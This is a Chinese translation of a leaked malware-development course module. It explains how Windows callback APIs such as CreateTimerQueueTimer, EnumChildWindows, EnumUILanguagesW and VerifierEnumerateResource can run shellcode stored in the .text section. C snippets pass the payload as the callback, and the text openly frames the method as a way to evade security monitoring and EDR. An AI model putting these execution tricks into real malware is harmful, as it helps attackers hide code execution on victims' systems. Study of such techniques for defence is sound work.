模块 41 - 回调函数代码执行
恶意软件开发课程 - 回调函数代码执行
模块 41 - 回调函数代码执行#
[!IMPORTANT] 本知识库声明
本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示与实践心得。
- 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
- 版权归属:原始知识产权归原作者/官方所有。
- 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程。
- 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。
回调函数代码执行#
简介#
回调函数 (Callback functions) 用于处理事件,或在满足特定条件时执行某个操作。它们在 Windows 操作系统的各种场景中都有使用,包括事件处理、窗口管理和多线程。微软对回调函数的定义如下:
回调函数是托管应用程序中的代码,可帮助非托管 DLL 函数完成任务。对回调函数的调用间接地从托管应用程序传递,通过 DLL 函数,然后返回到托管实现。
💡 初学者提示:什么是回调?
想象一下你给餐厅打电话订餐,但现在没位子。你留下电话号码并告诉前台:“等有位子了给我打电话(Call me back)”。
在编程中,回调就是你交给操作系统的一个函数指针(你的电话号码),并告诉它:“当某个事件发生时(比如定时器到期、窗口被找到),请执行这个函数”。
几个普通的 Windows API 都具备利用回调执行 Payload 的能力。使用它们对安全解决方案具有优势,因为这些函数本身看起来是良性的,可以潜在地规避某些监控。
滥用回调函数#
可以通过函数指针执行 Windows 回调。要运行 Payload,必须传递 Payload 的地址,而不是有效的回调函数指针。回调执行可以替代 CreateThread WinAPI 和其他与线程相关的 Payload 执行技术。此外,不需要通过传递适当的参数来正确使用这些函数。这些函数的返回值或本身的功能并不重要。
一个关于回调函数的重要点是,它们仅在本地进程地址空间中工作,不能用于执行远程代码注入技术。
示例回调函数#
以下函数都能够执行回调函数。
CreateTimerQueueTimer ↗ 的第 3 个参数
BOOL CreateTimerQueueTimer(
[out] PHANDLE phNewTimer,
[in, optional] HANDLE TimerQueue,
[in] WAITORTIMERCALLBACK Callback, // 此处填入 Payload 地址
[in, optional] PVOID Parameter,
[in] DWORD DueTime,
[in] DWORD Period,
[in] ULONG Flags
);cEnumChildWindows ↗ 的第 2 个参数
BOOL EnumChildWindows(
[in, optional] HWND hWndParent,
[in] WNDENUMPROC lpEnumFunc, // 此处填入 Payload 地址
[in] LPARAM lParam
);cEnumUILanguagesW ↗ 的第 1 个参数
BOOL EnumUILanguagesW(
[in] UILANGUAGE_ENUMPROCW lpUILanguageEnumProc, // 此处填入 Payload 地址
[in] DWORD dwFlags,
[in] LONG_PTR lParam
);cVerifierEnumerateResource ↗ 的第 4 个参数
ULONG VerifierEnumerateResource(
HANDLE Process,
ULONG Flags,
ULONG ResourceType,
AVRF_RESOURCE_ENUMERATE_CALLBACK ResourceCallback, // 此处填入 Payload 地址
PVOID EnumerationContext
);c以下各节将对这些函数中的每一个提供详细说明。代码示例中使用的 Payload 存储在二进制文件的 .text 段中。这允许 Shellcode 具有所需的 RX 内存权限,而无需使用 VirtualAlloc 或其他内存分配函数分配可执行内存。
📚 知识扩展:直接在 .text 段执行
通常我们会用
VirtualAlloc分配一块新内存。但如果我们在编译时将 Payload 放在代码段(.text)中,它的权限默认就是“可执行”的。这样可以省去分配内存和修改权限(VirtualProtect)的步骤,从而减少 API 的特征暴露。
使用 CreateTimerQueueTimer#
CreateTimerQueueTimer 创建一个新的定时器并将其添加到指定的定时器队列中。定时器是使用一个在定时器过期时被调用的回调函数来指定的。回调函数由创建定时器队列的线程执行。
下面的片段将位于 Payload 处的代码作为回调函数运行。
HANDLE hTimer = NULL;
// 即使 DueTime 设置为 NULL (0),定时器也会立即(或尽快)触发回调
if (!CreateTimerQueueTimer(&hTimer, NULL, (WAITORTIMERCALLBACK)Payload, NULL, NULL, NULL, NULL)){
printf("[!] CreateTimerQueueTimer Failed With Error : %d \n", GetLastError());
return -1;
}c使用 EnumChildWindows#
EnumChildWindows 允许程序枚举父窗口的子窗口。它将父窗口句柄作为输入,并对每个子窗口逐个应用用户定义的回调函数。回调函数为每个子窗口调用一次,并接收子窗口句柄和用户定义的值作为参数。
下面的片段将位于 Payload 处的代码作为回调函数运行。
// 第一个参数为 NULL,这可能导致函数失败(若没有子窗口),但在很多系统环境下依然能触发执行
if (!EnumChildWindows(NULL, (WNDENUMPROC)Payload, NULL)) {
printf("[!] EnumChildWindows Failed With Error : %d \n", GetLastError());
return -1;
}c使用 EnumUILanguagesW#
EnumUILanguagesW 枚举系统上安装的用户界面 (UI) 语言。它将回调函数作为参数,并对每种 UI 语言逐个应用回调函数。请注意,即使使用任何值而不是 MUI_LANGUAGE_NAME 标志,它仍然有效。
下面的片段将位于 Payload 处的代码作为回调函数运行。
// 该函数会遍历所有安装的 UI 语言并对每一项调用我们的 Payload
if (!EnumUILanguagesW((UILANGUAGE_ENUMPROCW)Payload, MUI_LANGUAGE_NAME, NULL)) {
printf("[!] EnumUILanguagesW Failed With Error : %d \n", GetLastError());
return -1;
}c使用 VerifierEnumerateResource#
VerifierEnumerateResource 用于在指定的模块中枚举资源。资源是存储在模块(如可执行文件或动态链接库)中的数据,可以在运行时由模块或其他模块访问。资源的示例包括字符串、位图和对话框模板。
VerifierEnumerateResource 是从 verifier.dll 导出的,因此必须使用 LoadLibrary 和 GetProcAddress WinAPI 动态加载该模块以访问该函数。
请注意,如果 ResourceType 参数不等于 AvrfResourceHeapAllocation,则 Payload 将不会被执行。AvrfResourceHeapAllocation 允许函数枚举堆分配,包括堆元数据块。
HMODULE hModule = NULL;
fnVerifierEnumerateResource pVerifierEnumerateResource = NULL;
// 加载包含该函数的 DLL
hModule = LoadLibraryA("verifier.dll");
if (hModule == NULL){
printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
return -1;
}
// 获取函数地址
pVerifierEnumerateResource = GetProcAddress(hModule, "VerifierEnumerateResource");
if (pVerifierEnumerateResource == NULL) {
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return -1;
}
// 必须设置 AvrfResourceHeapAllocation 标志才能运行 Payload
pVerifierEnumerateResource(GetCurrentProcess(), NULL, AvrfResourceHeapAllocation, (AVRF_RESOURCE_ENUMERATE_CALLBACK)Payload, NULL);c🎯 总结#
在本模块中,我们学习了:
- 回调滥用:利用系统 API 的正常功能来触发恶意代码的执行。
- 隐蔽执行:回调函数由操作系统组件调用,比起直接调用
CreateThread,此类行为更难通过行为分析(Behavioral Analysis)识别。 - 本地限制:这些技术仅限于本地进程,无法跨进程使用。
💡 关键要点
- Windows 中有成百上千个带回调参数的 API。
- 这是一个非常好的绕过技术,因为它把执行权交给了 OS。
- 在后续模块中,我们将学习如何利用这些回调来规避 EDR 获取线程起始地址的检测。
📚 下一步学习
下一个模块将介绍 Local Mapping Injection。我们将深入学习如何利用内存映射在不触发敏感内存 API 监控的情况下进行注入!